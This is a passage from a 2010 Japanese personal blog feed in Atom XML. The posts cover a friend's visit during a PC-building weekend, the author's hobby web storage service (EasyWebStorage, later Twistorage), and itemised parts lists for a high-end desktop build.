&lt;p&gt;とりあえずおれらはその先の予定を立てながら飯をたべた。&lt;/p&gt; &lt;p&gt;そして作業の山が残っているので長居せずに帰宅。&lt;/p&gt; &lt;p&gt;3時ごろ、友達が寝るというので寝れるようにスペース確保。そして作業続行。&lt;/p&gt; &lt;p&gt;5時ごろ、GSATA3からSATA2へ差し替えたところSSDのR/W速度が500/140へ向上。&lt;/p&gt; &lt;p&gt;寝ている友達を叩き起こし、「やべぇ！できたぞ！」と報告。そしてまた寝かせた。&lt;/p&gt; &lt;p&gt;一旦作業完了ということでおれも寝ることに。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;二日目。起きたら1時。ベンチマーク測定と地元の案内をしなくては。&lt;/p&gt; &lt;p&gt;ということでベンチマークを適当に計測。&lt;/p&gt; &lt;p&gt;んで、一旦昼飯を食べにデパートに。昼飯はスガキヤ。&lt;/p&gt; &lt;p&gt;来た友達は関東の人だったのであまりいい感想は言わないと思ったけども意外といい評価だったようで。&lt;/p&gt; &lt;p&gt;そしてスタバでマターリしたあと帰宅。&lt;/p&gt; &lt;p&gt;そしてベンチマーク測定再開。&lt;/p&gt; &lt;p&gt;とその前になぜか彼女を迎えに行くために駅へ。&lt;/p&gt; &lt;p&gt;彼女のほうはもう駅から俺のほうに向かっていたということなので途中で合流することに。&lt;/p&gt; &lt;p&gt;そしてみつけて横で棒立ちしてみた。が、軽くスルーされた。&lt;/p&gt; &lt;p&gt;よくわからんけど後をつけることに。&lt;/p&gt; &lt;p&gt;猫を見るたびに立ち止ってよくわからないことをしてるのを笑いながら後ろを付ける。&lt;/p&gt; &lt;p&gt;交差点で立ち止ったところで見つかって、友達に向かって一言。「わーちっさーい！」&lt;/p&gt; &lt;p&gt;そして帰宅。ベンチマーク測定再開。&lt;/p&gt; &lt;p&gt;適当に時間が経ち、夕食でも食べに行こうということになったのでとりあえず家を出ることに。&lt;/p&gt; &lt;p&gt;足がなく遠くへ行けないということなので友達に電話。「あ、今ファミマ（ファミリーマート）にいるからとりあえず迎えに来いよ。」&lt;/p&gt; &lt;p&gt;通話料がもったいないのでそれだけ伝えて終話。&lt;/p&gt; &lt;p&gt;10分ぐらい経ってから、その友達が車で来た。&lt;/p&gt; &lt;p&gt;なにやらPCショップに行きたいということなので向かった。&lt;/p&gt; &lt;p&gt;「そういえば、メモリ余分に買っちゃってもったいないからOSは32Bitから64Bitにしない？」&lt;/p&gt; &lt;p&gt;ということで64BitのWindows 7 Professionalを購入。&lt;/p&gt; &lt;p&gt;「で、夕食は？」「丸言ラーメンがいい」&lt;/p&gt; &lt;p&gt;行ってみると混んでいるようなので別の場所に。&lt;/p&gt; &lt;p&gt;「何がいい？」「焼肉がいい」&lt;/p&gt; &lt;p&gt;焼肉屋は混んでなかったのでそこで夕食。&lt;/p&gt; &lt;p&gt;友達が時間が危ないということなのでカラオケへ強制連行。&lt;/p&gt; &lt;p&gt;元気に「あ・い・うー！」を歌ってくれました。&lt;/p&gt; &lt;p&gt;帰宅した後は、OSのインストールをして次の日に備えて就寝。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;3日目。最終日。とりあえず名古屋へ。&lt;/p&gt; &lt;p&gt;「PCは作業が終わったら送って」&lt;/p&gt; &lt;p&gt;ということでちょっとの間預かることに。&lt;/p&gt; &lt;p&gt;名古屋で友達と合流したのが1時ごろ。昼飯を探して3千里。そしてみつけたオアシス「あんかけ亭」。&lt;/p&gt; &lt;p&gt;量が多すぎて食べきれなかったので半分ぐらい残して彼女に食べてもらいましたとさ。&lt;/p&gt; &lt;p&gt;その後はビリヤードで友達二人VS俺と俺の彼女でナインボール。そして全敗。&lt;/p&gt; &lt;p&gt;彼女は長くいられないということだったので俺の部屋に忘れてきた充電器の代用を買うためSofmapに。&lt;/p&gt; &lt;p&gt;Softbank/foma充電器To MicroUSBなんてあるわけないだろと思ったらあった。&lt;/p&gt; &lt;p&gt;それを購入したらスターバックスで時間をつぶそうということになりドトールへ。&lt;/p&gt; &lt;p&gt;たくさんあるものはすぐ見つかると思っても必要な時に見つからないものだなと思いながら休憩。&lt;/p&gt; &lt;p&gt;彼女が帰った後カラオケに。Linkin Park、マキシマムザホルモン、Cagayake!Girlsを叫び散らし喉をからしたところでボーリング。&lt;/p&gt; &lt;p&gt;俺200点Tueeeeeeeして9時半。&lt;/p&gt; &lt;p&gt;よし、味噌カツでも食べに行くかということで店を回ろうとしたもののどこも10時閉店。&lt;/p&gt; &lt;p&gt;「そういえばコメダって11時閉店じゃない？」そして看板を見ると11時閉店に。&lt;/p&gt; &lt;p&gt;実際についてみると閉店作業をしていた。&lt;/p&gt; &lt;p&gt;「もうマックでいいんじゃね？」ということでマック。&lt;/p&gt; &lt;p&gt;コーヒー、シェイク、マックポークを購入。外に出て食べることに。&lt;/p&gt; &lt;p&gt;袋を開けてみるとそこにあったのはビッグマックセット。&lt;/p&gt; &lt;p&gt;まぁいいかということでそこらを歩いている女の人を眺めながら夕食。&lt;/p&gt; &lt;p&gt;そこへ何とも美しいゴキブリが。落としたレタスを食べてた。&lt;/p&gt; &lt;p&gt;そして終電がなくなってしまうので別れを惜しみつつ解散。&lt;/p&gt; &lt;p&gt;名鉄名古屋駅。自宅方面の電車が踏切事故で止まっていた。振替便が出るということなのでそっちで移動することに。&lt;/p&gt; &lt;p&gt;あれ、これ帰れるのかな？とおもいつつ案の定途中の駅からの乗り換えが不可能。友達を呼んで帰宅し、汚れ返った部屋をみてものすごい脱力感を感じながらブログを書いている今に至る。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;夏休みに一番楽しみにしていたことが終わった。この空虚な感覚はなんだろう。&lt;/p&gt; &lt;p&gt;まぁ64BitOSを入れた後ベンチマークを取ってないからその計測をしないといけない。&lt;/p&gt; &lt;p&gt;ベンチマークはのちに、まとめて公開します。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;今度は相手のほうに行きたいな。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;俺がPCの作業をしている間友達は何してたかって？サブPCでメダロットを見てました。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-4028688650866532921?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/4028688650866532921/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=4028688650866532921&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4028688650866532921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4028688650866532921'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/08/blog-post_10.html' title='夏休みの一大イベント無事終了。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-3657283101465921430</id><published>2010-08-07T01:49:00.001+09:00</published><updated>2010-08-07T02:11:24.515+09:00</updated><title type='text'>現状報告</title><content type='html'>&lt;p&gt;Twistorage開発:&lt;/p&gt; &lt;p&gt;一旦完成したものの、8月でOAuthに強制移行させられるようなので再調整。&lt;/p&gt; &lt;p&gt;サーバによっては実現可能かどうかさえわからない。&lt;/p&gt; &lt;p&gt;Googleガジェットのストレージは捨てがたいからそっちの方は今後も手を加えていく&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;PC構築:&lt;/p&gt; &lt;p&gt;明日組立予定。&lt;/p&gt; &lt;p&gt;あとディスクドライブ、ケースで全部。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;こんなところかな。&lt;/p&gt; &lt;p&gt;やっぱりサーバーは自分で建てたほうがいいのかなぁ。&lt;/p&gt; &lt;p&gt;ここまで来たらLinux Apache SQL PHPでサーバーひとつ立てようかなぁ。&lt;/p&gt; &lt;p&gt;趣味の範囲とはいえこれをやろうとすると金がヤバい・・・。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;今のPCをM-ATXの拡張性のないケースから大型のケースにしてHDDを2Tぐらい追加しようかなぁ。&lt;/p&gt; &lt;p&gt;追加すればするほどバックアップや故障の修復に必要なコストが増大する・・・。&lt;/p&gt; &lt;p&gt;あぁ、でもWindowsじゃないと困ることも多々あるからなぁ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;あー、他にもやりたいことがいくらでもあるというのに。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;・・・ 'A`;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Android用アプリケーション開発のためにJavaを覚えないと。&lt;/p&gt; &lt;p&gt;Websocketを使えるようにするためにPythonも勉強しようかなぁ。&lt;/p&gt; &lt;p&gt;まぁあれこれ手を付けすぎると迷走の路線を増やしかねないけど。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;いや、そもそも基礎を勉強しないと。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;で、T-01Bの大容量バッテリーはまだなのか・・・？&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-3657283101465921430?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/3657283101465921430/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=3657283101465921430&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3657283101465921430'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3657283101465921430'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/08/blog-post.html' title='現状報告'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-5267008962612654435</id><published>2010-08-04T02:01:00.001+09:00</published><updated>2010-08-04T14:33:06.525+09:00</updated><title type='text'>EasyWebStorageをTwitterと連携可能に。そしてTwistorageに改名。</title><content type='html'>&lt;p&gt;というわけでEasyWebStorageがちょっと高機能になりましたよ。&lt;/p&gt; &lt;p&gt;URL : &lt;a href="http://drestyle.dip.jp/advcmm/twistorage/" target="blank"&gt;http://drestyle.dip.jp/advcmm/twistorage/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;そのうち「 http://drestyle.dip.jp/axe1lyzelab/twistorage/ 」になると思う。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;前のウェブストレージも一応消さずに残しておこうかな。&lt;/p&gt; &lt;p&gt;まぁその判断はサーバー管理者次第だけども。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;iGoogleのガジェットにセットするとこんな感じ。(左上)&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_toMCQOU2NRI/TFj7j2McWbI/AAAAAAAAADM/PM7__ulhOXY/s1600-h/iGoogle%5B4%5D.jpg"&gt;&lt;img title="iGoogle" style="border-right: 0px; border-top: 0px; display: inline; border-left: 0px; border-bottom: 0px" height="264" alt="iGoogle" src="http://lh6.ggpht.com/_toMCQOU2NRI/TFj7kRJEGpI/AAAAAAAAADQ/r5mmfKWIV3Q/iGoogle_thumb%5B1%5D.jpg?imgmax=800" width="484" border="0"&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;個人フォルダのURLは「 http://drestyle.dip.jp/advcmm/twistorage/userdir/TwitterのID/ 」となっております。&lt;/p&gt; &lt;p&gt;そして俺の公開ディレクトリ : &lt;a href="http://drestyle.dip.jp/advcmm/twistorage/userdir/Axe1lyze/" target="blank"&gt;http://drestyle.dip.jp/advcmm/twistorage/userdir/Axe1lyze/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;今のところ見つかっているバグはたまにファイルが削除できない気がすること。&lt;/p&gt; &lt;p&gt;俺の頭のバグかもしれないけどね。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;今後の追加機能の予定&lt;/p&gt; &lt;p&gt;そのうちアップロードできるファイルの拡張子を制限、アカウント削除機能とパスワード変更機能の追加、フォロワーの公開ディレクトリリストページを作成する予定。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;最低限の機能がついてないじゃん。っていうツッコミは無しの方向でお願いします。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-5267008962612654435?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/5267008962612654435/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=5267008962612654435&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5267008962612654435'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5267008962612654435'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/08/easywebstoragetwittertwistorage.html' title='EasyWebStorageをTwitterと連携可能に。そしてTwistorageに改名。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_toMCQOU2NRI/TFj7kRJEGpI/AAAAAAAAADQ/r5mmfKWIV3Q/s72-c/iGoogle_thumb%5B1%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-4710278760858544258</id><published>2010-07-31T00:58:00.001+09:00</published><updated>2010-07-31T02:14:50.216+09:00</updated><title type='text'>EasyWebStorageが完成しました。</title><content type='html'>&lt;p&gt;製作時間4～5時間、やっと完成しました。&lt;/p&gt; &lt;p&gt;セキュリティホールがあるかもしれないので、著作物と盗まれたらまずいファイルはアップロードしないようにしてください。&lt;/p&gt; &lt;p&gt;URL : &lt;a href="http://drestyle.dip.jp/advcmm/EasyWebStorage/" target="blank"&gt;http://drestyle.dip.jp/advcmm/EasyWebStorage/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;使い方は簡単。&lt;/p&gt; &lt;p&gt;Registerから登録し、ご利用できます。&lt;/p&gt; &lt;p&gt;あとは直感でできると思いますよ。&lt;/p&gt; &lt;p&gt;iGoogleをご利用の方はガジェットとしてもご利用いただけます。&lt;/p&gt; &lt;p&gt;方法を以下に記述いたします。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;a href="http://www.google.co.jp/ig/directory?hl=ja&amp;amp;type=gadgets&amp;amp;url=net-fs.googlecode.com/svn/trunk/net.fs/iframe_gadget.xml" target="blank"&gt;このiFrameガジェット&lt;/a&gt;を追加し、以下のように表示される設定項目を&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_toMCQOU2NRI/TFL2li9_sQI/AAAAAAAAAC0/u4PvcP7SKY8/s1600-h/iframe%5B3%5D.jpg"&gt;&lt;img title="iframe" style="border-top-width: 0px; display: inline; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="162" alt="iframe" src="http://lh3.ggpht.com/_toMCQOU2NRI/TFL2l3UVfkI/AAAAAAAAAC4/EHIIHGuJEUk/iframe_thumb%5B1%5D.jpg?imgmax=800" width="412" border="0"&gt;&lt;/a&gt;&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Name : EasyWebStorage &lt;br&gt;src : &lt;a href="http://drestyle.dip.jp/advcmm/EasyWebStorage/" target="blank"&gt;http://drestyle.dip.jp/advcmm/EasyWebStorage/&lt;/a&gt;&lt;br&gt;width : 100%&lt;br&gt;height : 360(お好きなように)&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;上記のように設定していただければご利用できます。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;自分の勉強のために作った物ですが、ご利用していただければ幸いです。&lt;/p&gt; &lt;p&gt;また、移動などによるURLの変更がありましたらご報告いたします。&lt;/p&gt; &lt;p&gt;バグ報告、コメント等お待ちしております。バグ報告は少ないことを祈りますが（笑）&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-4710278760858544258?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/4710278760858544258/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=4710278760858544258&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4710278760858544258'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4710278760858544258'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/07/easywebstorage.html' title='EasyWebStorageが完成しました。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_toMCQOU2NRI/TFL2l3UVfkI/AAAAAAAAAC4/EHIIHGuJEUk/s72-c/iframe_thumb%5B1%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-8576164265714361774</id><published>2010-07-30T19:47:00.001+09:00</published><updated>2010-07-30T23:41:29.942+09:00</updated><title type='text'>PC構成を確定。</title><content type='html'>&lt;p&gt;玖羽さんのアドバイスにより構成内容を片方に絞り確定しました。&lt;/p&gt; &lt;p&gt;構成情報は以下。&lt;/p&gt; &lt;p&gt; &lt;hr&gt;  &lt;p&gt;&lt;/p&gt; &lt;table border="0" cellspacing="0" cellpadding="0" width="471"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td width="49"&gt;部位&lt;/td&gt; &lt;td width="194"&gt;型番&lt;/td&gt; &lt;td width="186"&gt;URL&lt;/td&gt; &lt;td width="40"&gt;価格&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="49"&gt;M/B&lt;/td&gt; &lt;td width="194"&gt;GA-X58A-UD3R REV2&lt;/td&gt; &lt;td width="186"&gt;&lt;a href="http://kakaku.com/item/K0000116727/" target="blank"&gt;http://kakaku.com/item/K0000116727/&lt;/a&gt;&lt;/td&gt; &lt;td width="40"&gt;22000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="49"&gt;CPU&lt;/td&gt; &lt;td width="194"&gt;Core i7 980X Extreme Edition BOX&lt;/td&gt; &lt;td width="186"&gt;&lt;a href="http://kakaku.com/item/K0000097661/" target="blank"&gt;http://kakaku.com/item/K0000097661/&lt;/a&gt;&lt;/td&gt; &lt;td width="40"&gt;94000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="49"&gt;GPU&lt;/td&gt; &lt;td width="194"&gt;EAH5970 *2&lt;/td&gt; &lt;td width="186"&gt;&lt;a href="http://kakaku.com/item/K0000070047/" target="blank"&gt;http://kakaku.com/item/K0000070047/&lt;/a&gt;&lt;/td&gt; &lt;td width="40"&gt;133200&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="49"&gt;Memory&lt;/td&gt; &lt;td width="194"&gt;DDR3 2G *3 (Triple-Channel)&lt;/td&gt; &lt;td width="186"&gt;&lt;a href="http://kakaku.com/item/K0000001980/" target="blank"&gt;http://kakaku.com/item/K0000001980/&lt;/a&gt;&lt;/td&gt; &lt;td width="40"&gt;13500&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="49"&gt;SSD&lt;/td&gt; &lt;td width="194"&gt;RealSSD C300 CTFDDAC064MAG-1G1 *2 (RAID0)&lt;/td&gt; &lt;td width="186"&gt;&lt;a href="http://kakaku.com/item/K0000123893/" target="blank"&gt;http://kakaku.com/item/K0000123893/&lt;/a&gt;&lt;/td&gt; &lt;td width="40"&gt;15000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="49"&gt;DiskDrive&lt;/td&gt; &lt;td width="194"&gt;適当&lt;/td&gt; &lt;td width="186"&gt;&amp;nbsp;&lt;/td&gt; &lt;td width="40"&gt;4000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="49"&gt;Power&lt;/td&gt; &lt;td width="194"&gt;SST-ST1000-P&lt;/td&gt; &lt;td width="186"&gt;&lt;a href="http://kakaku.com/item/K0000068115/" target="blank"&gt;http://kakaku.com/item/K0000068115/&lt;/a&gt;&lt;/td&gt; &lt;td width="40"&gt;20000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="49"&gt;PC Case&lt;/td&gt; &lt;td width="194"&gt;Six Hundred SE&lt;/td&gt; &lt;td width="186"&gt;&lt;a href="http://kakaku.com/item/K0000092422/" target="blank"&gt;http://kakaku.com/item/K0000092422/&lt;/a&gt;&lt;/td&gt; &lt;td width="40"&gt;7500&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;p&gt; &lt;hr&gt;  &lt;p&gt;&lt;/p&gt; &lt;p&gt;一応以前の構成に5000円を加えることで大幅にパフォーマンスを向上することができました。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;玖羽さんありがとうございます。&lt;/p&gt; &lt;p&gt;&lt;a href="http://dress.ktkr.net/" target="blank"&gt;玖羽さんのブログ&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-8576164265714361774?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/8576164265714361774/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=8576164265714361774&amp;isPopup=true' title='2 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8576164265714361774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8576164265714361774'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/07/pc_30.html' title='PC構成を確定。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-8841321909971947061</id><published>2010-07-25T19:57:00.001+09:00</published><updated>2010-07-27T04:34:02.718+09:00</updated><title type='text'>夏休みの自由工作（笑）</title><content type='html'>&lt;p&gt;というわけで以下の構成でPCを作ることになりました。  &lt;p&gt;構成案は二つ。 &lt;/p&gt; &lt;p&gt; &lt;hr&gt;  &lt;p&gt;&lt;/p&gt; &lt;table cellspacing="0" cellpadding="0" width="448" border="0"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td width="50"&gt;部位&lt;/td&gt; &lt;td width="172"&gt;型番&lt;/td&gt; &lt;td width="183"&gt;URL&lt;/td&gt; &lt;td width="41"&gt;価格&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="50"&gt;M/B&lt;/td&gt; &lt;td width="172"&gt;P6T&lt;/td&gt; &lt;td width="183"&gt;&lt;a href="http://kakaku.com/item/K0000010418/" target="_blank"&gt;http://kakaku.com/item/K0000010418/&lt;/a&gt;&lt;/td&gt; &lt;td width="41"&gt;19000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="50"&gt;CPU&lt;/td&gt; &lt;td width="172"&gt;Core i7 980X Extreme Edition BOX&lt;/td&gt; &lt;td width="183"&gt;&lt;a href="http://kakaku.com/item/K0000097661/" target="_blank"&gt;http://kakaku.com/item/K0000097661/&lt;/a&gt;&lt;/td&gt; &lt;td width="41"&gt;94000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="50"&gt;GPU&lt;/td&gt; &lt;td width="172"&gt;EN GTX480 *2 SLI&lt;/td&gt; &lt;td width="183"&gt;&lt;a href="http://kakaku.com/item/K0000100098/" target="_blank"&gt;http://kakaku.com/item/K0000100098/&lt;/a&gt;&lt;/td&gt; &lt;td width="41"&gt;101000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="50"&gt;SPU&lt;/td&gt; &lt;td width="172"&gt;Sound Blaster X-Fi Titanium Professional Audio&lt;/td&gt; &lt;td width="183"&gt;&lt;a href="http://kakaku.com/item/05601010373/" target="_blank"&gt;http://kakaku.com/item/05601010373/&lt;/a&gt;&lt;/td&gt; &lt;td width="41"&gt;15000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="50"&gt;Memory&lt;/td&gt; &lt;td width="172"&gt;DDR3 2G*3 Triple-Channel&lt;/td&gt; &lt;td width="183"&gt;&lt;a href="http://kakaku.com/item/K0000001980/" target="_blank"&gt;http://kakaku.com/item/K0000001980/&lt;/a&gt;&lt;/td&gt; &lt;td width="41"&gt;13500&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="50"&gt;SSD&lt;/td&gt; &lt;td width="172"&gt;OCZSSD2-1VTX60G *2 RAID0&lt;/td&gt; &lt;td width="183"&gt;&lt;a href="http://kakaku.com/item/K0000011882/" target="_blank"&gt;http://kakaku.com/item/K0000011882/&lt;/a&gt;&lt;/td&gt; &lt;td width="41"&gt;28000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="50"&gt;DiskDrive&lt;/td&gt; &lt;td width="172"&gt;適当&lt;/td&gt; &lt;td width="183"&gt;&amp;nbsp;&lt;/td&gt; &lt;td width="41"&gt;4000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="50"&gt;Power&lt;/td&gt; &lt;td width="172"&gt;X7 900&lt;/td&gt; &lt;td width="183"&gt;&lt;a href="http://kakaku.com/item/K0000054117/" target="_blank"&gt;http://kakaku.com/item/K0000054117/&lt;/a&gt;&lt;/td&gt; &lt;td width="41"&gt;15000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="50"&gt;PC Case&lt;/td&gt; &lt;td width="172"&gt;Six Hundred SE&lt;/td&gt; &lt;td width="183"&gt;&lt;a href="http://kakaku.com/item/K0000092422/" target="_blank"&gt;http://kakaku.com/item/K0000092422/&lt;/a&gt;&lt;/td&gt; &lt;td width="41"&gt;7500&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;table cellspacing="0" cellpadding="0" width="445" border="0"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td width="51"&gt;部位&lt;/td&gt; &lt;td width="170"&gt;型番&lt;/td&gt; &lt;td width="183"&gt;URL&lt;/td&gt; &lt;td width="39"&gt;価格&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="51"&gt;M/B&lt;/td&gt; &lt;td width="170"&gt;P6T SE&lt;/td&gt; &lt;td width="183"&gt;&lt;a href="http://kakaku.com/item/K0000024008/" target="_blank"&gt;http://kakaku.com/item/K0000024008/&lt;/a&gt;&lt;/td&gt; &lt;td width="39"&gt;18000&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td width="51"&gt;CPU&lt;/td&gt; &lt;td 